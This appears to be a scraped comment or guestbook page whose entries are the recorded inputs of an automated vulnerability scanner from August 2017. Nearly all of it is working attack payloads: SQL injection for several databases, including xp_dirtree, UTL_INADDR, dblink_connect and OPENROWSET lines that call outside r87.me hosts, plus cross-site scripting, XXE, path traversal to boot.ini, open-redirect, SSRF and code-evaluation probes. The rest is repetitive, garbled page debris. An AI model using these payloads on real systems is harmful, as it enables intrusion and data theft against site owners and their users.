%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n //r87.com/n/j/?0x003E36\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n //r87.com/n/n.css?0x003E34\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n http://testsparker.com.r87.com/?\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n testsparker.com.r87.com/?\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n 1 ns=netsparker(0x003E2A)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n ///r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n '\" ns=netsparker(0x003E28)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n /\\r87.com/?testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n r87.com/?https://testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAzRTI2KTwvc2NyaXB0Pg==\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x003E24%29%3C%2FscRipt%3E\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuyoz3ygz7o3fb-fbmgahlo9g02qfwt7'||'o9q.r87.me') from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n r87.com/?http://testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupwyriz8l3hafztwi5bxtvogbklimak'||'jsg.r87.me') from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \"+print localtime()*0+0xFFF9999-22+\"\r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupjxsp5b-tc8mrkphwqyrjbysj9dta6'||'mu4.r87.me') from DUAL))))

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n //r87.com/?http://testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuntiadxvpt2vjilow5dxqk_zgklc92l'||'lga.r87.me') from DUAL))))

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n '+print localtime()*0+0xFFF9999-22+'\r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n http://r87.com/?testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n eval('print localtime()*0+0xFFF9999-22')\r\n

\r\n
\r\n

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu6olwxenayn61zuznzvkpieqw2uxuss'||'zqo.r87.me') from DUAL)

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n print localtime()*0+0xFFF9999-22\r\n

\r\n
\r\n

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu5bux1l7536c7txqvw2vvoxrdqbr4ju'||'dau.r87.me') from DUAL)

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((SELECT dblink_connect('host=o010_rdnxuamtijxrh_ua47ll7e6-nc4qrs7wicc'||'wby.r87.me user=a password=a connect_timeout=2')) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((SELECT dblink_connect('host=o010_rdnxu_0yjiybkjb8gteg5wkotzgoa1zifn1'||'bme.r87.me user=a password=a connect_timeout=2')) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((SELECT dblink_connect('host=o010_rdnxuddfqmvhh1jbp6oafwbchqjv2quvajg'||'yru.r87.me user=a password=a connect_timeout=2')) as numeric)

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((SELECT dblink_connect('host=o010_rdnxugpapkhq8ssuvqftyjaxfcqkladiscr'||'mia.r87.me user=a password=a connect_timeout=2')) as numeric)

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n http://r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

dblink_connect('host=o010_rdnxuzkqd2xzqzomqtyhwubjnsm7qrtw41t'||'hmy.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

dblink_connect('host=o010_rdnxuagjvg0f2rhewf39zzrgsd8gd5a9nzl'||'mxi.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n [php]print(int)0xFFF9999-22;[/php]\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SELECT dblink_connect('host=o010_rdnxuvwmotchao5p8ee8yqxr8vb08wancnl'||'zrg.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n '{${print(int)0xFFF9999-22}}'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SELECT dblink_connect('host=o010_rdnxuet4tsuzg8phsdufx201xezqei3nqw4'||'3gg.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuoor_h9vzkn-hbagxjoylf8jk8jccgw'+'jfq.r87.me')exec sp_executesql @r--

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuaxtltofwd04m-y_ebcgkrjzqufv9ui'+'u58.r87.me')exec sp_executesql @r--

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR '1'='1

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n {php}print(int)0xFFF9999-22;{/php}\r\n

\r\n
\r\n

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR '1'='1

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR X='ss

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 17-7=10

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \"+print(int)0xFFF9999-22+\"\r\n

\r\n
\r\n

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxulgxbbhzfz4jijkmgflzscjkuwn1wey'+'frc.r87.me')exec sp_executesql @r

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+NSFTW+'

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR 'ns'='ns

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 AND 'NS='ss

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n '+print(int)0xFFF9999-22+'\r\n

\r\n
\r\n

NSFTW

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

NS1NO

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n +print(int)0xFFF9999-22;//\r\n

\r\n
\r\n

'

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxuegehvyh4tozikzp_sz8bz3rfje4rmt'+'ffc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxu_rlfsyflnno_jfoftswysywvm7oabo'+'efc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'))exec('xp_dirtree ''\\\\o010_rdnxujofvccq3wukhi5ijuuezny-tix8gkm'+'4oo.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 1=1

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 1=1

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'))exec('xp_dirtree ''\\\\o010_rdnxuzqu8zhegczorgqssxr9fnuar6zijoc'+'abu.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n print(int)0xFFF9999-22;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+\"

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n print(int)0xFFF9999-22\r\n

\r\n
\r\n

1))exec('xp_dirtree ''\\\\o010_rdnxue-9qm_9lazckav4txcnqrsysxmlcg1'+'2wg.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1))exec('xp_dirtree ''\\\\o010_rdnxuf_h9io7sqlhhe_ufjklwpf7nybmrs5'+'gti.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1')exec('xp_dirtree ''\\\\o010_rdnxuttnsrg-w1x36fpbrxjivg8gq-oy-yf'+'ytq.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1')exec('xp_dirtree ''\\\\o010_rdnxuztaizmkuesygeiwmd0jf2tb-4bosqk'+'bmo.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n <% response.write(268409241-22) %>\r\n

\r\n
\r\n

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://127.0.0.1:3306

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) exec('xp_dirtree ''\\\\o010_rdnxutbxadbiay2qpq7l3uzv0r6rszjb69z'+'ycs.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://127.100.11.2:22

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) exec('xp_dirtree ''\\\\o010_rdnxujje-z2c0o6sgdxak6qx4bdw7krpxak'+'miq.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \"+response.write(268409241-22)+\"\r\n

\r\n
\r\n

-1';exec('xp_dirtree ''\\\\o010_rdnxu_binymicgqs0mr_tqmg0etimkpuqf_'+'mag.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1';exec('xp_dirtree ''\\\\o010_rdnxu5rmjmfgrfi3m7sxux-otfnq-okffbz'+'xsc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n +response.write(268409241-22)'\r\n

\r\n
\r\n

1;exec('xp_dirtree ''\\\\o010_rdnxuenm1cug77lkxyh6u3i_kiigtfmjte9'+'u_0.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

